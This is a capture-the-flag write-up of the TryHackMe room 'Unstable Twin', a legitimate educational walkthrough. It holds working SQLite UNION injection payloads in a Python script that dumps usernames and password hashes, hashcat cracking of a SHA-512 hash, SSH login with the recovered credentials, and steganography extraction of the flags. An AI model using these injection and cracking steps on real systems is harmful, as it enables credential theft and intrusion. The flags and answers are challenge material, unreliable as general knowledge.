Unstable Twin THM

A Services based room, extracting information from HTTP Services and finding the hidden messages.

Based on the Twins film, find the hidden keys.

Julius and Vincent have gone into the **SERVICES** market to try and get the family back together.
They have just deployed a new version of their code, but Vincent has messed up the deployment!

Can you help their mother find and recover the hidden keys and bring the family and girlfriends back together?

nmap scan

```
┌──(punitzen㉿kali)-[~/thmlabs/unstableTwin]
└─$ sudo nmap -sC -sV 10.10.167.57
[sudo] password for punitzen:
Starting Nmap 7.91 ( https://nmap.org ) at 2021-05-02 19:06 IST
Nmap scan report for 10.10.167.57
Host is up (0.44s latency).
Not shown: 998 filtered ports
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.0 (protocol 2.0)
| ssh-hostkey:
|   3072 ba:a2:40:8e:de:c3:7b:c7:f7:b3:7e:0c:1e:ec:9f:b8 (RSA)
|   256 38:28:4c:e1:4a:75:3d:0d:e7:e4:85:64:38:2a:8e:c7 (ECDSA)
|_  256 1a:33:a0:ed:83:ba:09:a5:62:a7:df:ab:2f:ee:d0:99 (ED25519)
80/tcp open  http    nginx 1.14.1
|_http-server-header: nginx/1.14.1
|_http-title: Site doesn't have a title (text/html; charset=utf-8).

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 46.65 seconds
```

gobuster scan

```
┌──(punitzen㉿kali)-[~/thmlabs/unstableTwin]
└─$ gobuster dir -u http://10.10.167.57/ -w ~/wordlists/directory-list-medium.txt
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url:          http://10.10.167.57/
[+] Threads:      10
[+] Wordlist:     /home/punitzen/wordlists/directory-list-medium.txt
[+] Status codes: 200,204,301,302,307,401,403
[+] User Agent:   gobuster/3.0.1
[+] Timeout:      10s
===============================================================
2021/05/02 19:11:27 Starting gobuster
===============================================================

/info (Status: 200)

===============================================================
2021/05/02 19:45:12 Finished
```

==========

found /info directory which tells us about a login API

```
The login API needs to be called with the username and password form fields fields.  It has not been fully tested yet so may not be full developed and secure
```

webserver

webserver is nginx but it is misconfigured so isn't fully functional
there are two builds

```
┌──(punitzen㉿kali)-[~/thmlabs/unstableTwin]
└─$ curl -I http://twin.thm/info

HTTP/1.1 200 OK
Server: nginx/1.14.1
Date: Sat, 01 May 2021 09:39:15 GMT
Content-Type: application/json
Content-Length: 160
Connection: keep-alive
Build Number: 1.3.4-dev
```

==========

Fuzzing

```
┌──(punitzen㉿kali)-[~/thmlabs/unstableTwin]
└─$ ffuf -u http://10.10.167.57/api/FUZZ -w ~/wordlists/directory-list-medium.txt -t 150

        /'___\  /'___\           /'___\
       /\ \__/ /\ \__/  __  __  /\ \__/
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
         \ \_\   \ \_\  \ \____/  \ \_\
          \/_/    \/_/   \/___/    \/_/

       v1.3.0 Kali Exclusive <3
________________________________________________

 :: Method           : GET
 :: URL              : http://10.10.167.57/api/FUZZ
 :: Wordlist         : FUZZ: /home/punitzen/wordlists/directory-list-medium.txt
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 150
 :: Matcher          : Response status: 200,204,301,302,307,401,403,405
________________________________________________

login                   [Status: 405, Size: 178, Words: 20, Lines: 5]
________________________________________________

[+] Finished
```

==========

API

we know we have two parameter for api
username and password

The parameter may be vulnerable to Sql Injection

Intercept the request in BurpSuite and run sqlmap

But that doesn't seems to work as the server is unstable

Now, doing with a python script

sql injection

```python3
import requests

url = 'http://10.10.217.134/api/login'

queries = [
"1' UNION SELECT username ,password FROM users order by id-- -",
"1' UNION SELECT 1,group_concat(password) FROM users order by id-- -",
"1' UNION select 1,tbl_name from sqlite_master -- -",
"1' UNION SELECT NULL, sqlite_version(); -- -",
"1' Union SELECT null, sql FROM sqlite_master WHERE type!='meta' AND sql NOT NULL AND name ='users'; -- -",
"1' Union SELECT null, sql FROM sqlite_master WHERE type!='meta' AND sql NOT NULL AND name ='notes'; -- -",
"' UNION SELECT 1,notes FROM notes-- -"
]
for query in queries:
    data1 = {'username': query,'password': 'helloworld'}
    r1 = requests.post(url, data=data1)
    print(r1.text)
    data2 = {'username': query,'password': 'helloworld'}
    r2 = requests.post(url, data=data2)
    print(r2.text)
```

==========

```
┌──(punitzen㉿kali)-[~/thmlabs/unstableTwin]
└─$ python3 sqlinjection.py
"The username or password passed are not correct."

[
  [
    "julias",
    "Red"
  ],
  [
    "linda",
    "Green"
  ],
  [
    "marnie",
    "Yellow "
  ],
  [
    "mary_ann",
```

```
    "continue..."
  ],
  [
    "vincent",
    "Orange"
  ]
]

"The username or password passed are not correct."

[
  [
    1,
    "Green,Orange,Red,Yellow ,continue..."
  ]
]

"The username or password passed are not correct."

[
  [
    1,
    "notes"
  ],
  [
    1,
    "sqlite_sequence"
  ],
  [
    1,
    "users"
  ]
]

"The username or password passed are not correct."

[
  [
    null,
    "3.26.0"
  ]
]

"The username or password passed are not correct."

[
  [
    null,
    "CREATE TABLE \"users\" (\n\t\"id\"\tINTEGER UNIQUE,\n\t\"username\"\tTEXT NOT NULL UNIQUE,-
\n\t\"password\"\tTEXT NOT NULL UNIQUE,\n\tPRIMARY KEY(\"id\" AUTOINCREMENT)\n)"
  ]
]

"The username or password passed are not correct."

[
  [
    null,
    "CREATE TABLE \"notes\" (\n\t\"id\"\tINTEGER UNIQUE,\n\t\"user_id\"\tINTEGER,\n\t\"note_sql\"\tINTEGER,-
\n\t\"notes\"\tTEXT,\n\tPRIMARY KEY(\"id\")\n)"
  ]
]

"The username or password passed are not correct."

[
```

```
 [
   1,
   "I have left my notes on the server.  They will me help get the family back together. "
 ],
 [
   1,
   "My Password is
eaf0651dabef9c7de8a70843030924d335a2a8ff5fd1b13c4cb099e66efe25ecaa607c4b7dd99c43b0c01af669c90fd6a14933
 ]
]
```

What colour is Vincent?
orange

cracking hash

Analysing the hash give that its a SHA2-512 hash

cracking it with hashcat

==========

```
┌──(punitzen㉿kali)-[~/thmlabs/unstableTwin]
└─$ hashcat -m 1700 hash ~/wordlists/rockyou.txt
hashcat (v6.1.1) starting...

OpenCL API (OpenCL 1.2 pocl 1.5, None+Asserts, LLVM 9.0.1, RELOC, SLEEF, DISTRO, POCL_DEBUG) - Platform #1
[The pocl project]
==========
* Device #1: pthread-Intel(R) Core(TM) i3-5005U CPU @ 2.00GHz, 5775/5839 MB (2048 MB allocatable), 4MCU

Minimum password length supported by kernel: 0
Maximum password length supported by kernel: 256

Hashes: 1 digests; 1 unique digests, 1 unique salts
Bitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13 rotates
Rules: 1

Applicable optimizers applied:
* Zero-Byte
* Early-Skip
* Not-Salted
* Not-Iterated
* Single-Hash
* Single-Salt
* Raw-Hash
* Uses-64-Bit

ATTENTION! Pure (unoptimized) backend kernels selected.
Using pure kernels enables cracking longer passwords but for the price of drastically reduced performance.
If you want to switch to optimized backend kernels, append -O to your commandline.
See the above message to find out about the exact limits.

Watchdog: Hardware monitoring interface not found on your system.
Watchdog: Temperature abort trigger disabled.

Host memory required for this attack: 65 MB

Dictionary cache built:
* Filename..: /home/punitzen/wordlists/rockyou.txt
* Passwords.: 14344392
```

* Bytes.....: 139921507
* Keyspace..: 14344385
* Runtime...: 3 secs

eaf0651dabef9c7de8a70843030924d335a2a8ff5fd1b13c4cb099e66efe25ecaa607c4b7dd99c43b0c01af669c90fd6a14933
experiment

Session..........: hashcat
Status...........: Cracked
Hash.Name........: SHA2-512
Hash.Target......: eaf0651dabef9c7de8a70843030924d335a2a8ff5fd1b13c4cb...7343f4
Time.Started.....: Mon May 3 13:24:32 2021 (0 secs)
Time.Estimated...: Mon May 3 13:24:32 2021 (0 secs)
Guess.Base.......: File (/home/punitzen/wordlists/rockyou.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#1.........: 1419.1 kH/s (1.44ms) @ Accel:1024 Loops:1 Thr:1 Vec:4
Recovered........: 1/1 (100.00%) Digests
Progress.........: 188416/14344385 (1.31%)
Rejected.........: 0/188416 (0.00%)
Restore.Point....: 184320/14344385 (1.28%)
Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:0-1
Candidates.#1....: joan08 -> beckyg

Started: Mon May 3 13:23:42 2021
Stopped: Mon May 3 13:24:33 2021

SSH and Privilege Escalation

SSH creds found

marry_ann : experiment

[mary_ann@UnstableTwin ~]$ ls
server_notes.txt user.flag
[mary_ann@UnstableTwin ~]$ cat user.flag
THM{Mary_Ann_notes}
[mary_ann@UnstableTwin ~]$ cat server_notes.txt
Now you have found my notes you now you need to put my extended family together.

We need to GET their IMAGE for the family album. These can be retrieved by NAME.

You need to find all of them and a picture of myself!

Taking a look where we could GET the image
Taking a look at the app, Its build using Flask

flask app

```
@app.route('/get_image')
def get_image():
    if request.args.get('name').lower() == 'marnie':
        filename = 'Twins-Kelly-Preston.jpg'
        return send_file(filename, mimetype='image/gif')
    elif request.args.get('name').lower() == 'linda':
        filename = 'Twins-Chloe-Webb.jpg'
        return send_file(filename, mimetype='image/gif')
    elif request.args.get('name').lower() == 'mary_ann':
        filename = 'Twins-Bonnie-Bartlett.jpg'
        return send_file(filename, mimetype='image/gif')
    return '', 404
```

```
@app.route('/get_image')
def get_image():
    if request.args.get('name').lower() == 'vincent':
        filename = 'Twins-Danny-DeVito.jpg'
        return send_file(filename, mimetype='image/gif')
    elif request.args.get('name').lower() == 'julias':
        filename = 'Twins-Arnold-Schwarzenegger.jpg'
        return send_file(filename, mimetype='image/gif')
    elif request.args.get('name').lower() == 'mary_ann':
        filename = 'Twins-Bonnie-Bartlett.jpg'
        return send_file(filename, mimetype='image/gif')
    return '', 404


# Downloading all the images from server and using steghide to extract hidden information

============================================================
```

steghide

```
┌──(punitzen㉿kali)-[~/thmlabs/unstableTwin/images]
└─$ steghide extract -sf julias.jpg
Enter passphrase:
wrote extracted data to "julias.txt".

┌──(punitzen㉿kali)-[~/thmlabs/unstableTwin/images]
└─$ steghide extract -sf linda.jpg
Enter passphrase:
wrote extracted data to "linda.txt".

┌──(punitzen㉿kali)-[~/thmlabs/unstableTwin/images]
└─$ steghide extract -sf marnie.jpg
Enter passphrase:
wrote extracted data to "marine.txt".

┌──(punitzen㉿kali)-[~/thmlabs/unstableTwin/images]
└─$ steghide extract -sf mary_ann.jpg
Enter passphrase:
wrote extracted data to "mary_ann.txt".

┌──(punitzen㉿kali)-[~/thmlabs/unstableTwin/images]
└─$ steghide extract -sf vincent.jpg
Enter passphrase:
wrote extracted data to "vincent.txt".

┌──(punitzen㉿kali)-[~/thmlabs/unstableTwin/images]
└─$ ls
julias.jpg  linda.jpg  marine.txt  mary_ann.jpg  vincent.jpg
julias.txt  linda.txt  marnie.jpg  mary_ann.txt  vincent.txt
```

You need to find all my children and arrange in a rainbow!

Green - eVYvs6J6HKpZWPG8pfeHoNG1
Yellow - jKLNAAeCdl2J8BCRuXVX
Orange - PS0Mby2jomUKLjvQ4OSw
Red - 1DVsdb2uEE0k5HK4GAIZ

VIBGYOR

Putting in Reverse Order ROYG

1DVsdb2uEE0k5HK4GAIZPS0Mby2jomUKLjvQ4OSwjKLNAAeCdI2J8BCRuXVXeVYvs6J6HKpZWPG8pfeHoNG1

Base62 decodes to

You have found the final flag THM{The_Family_Is_Back_Together}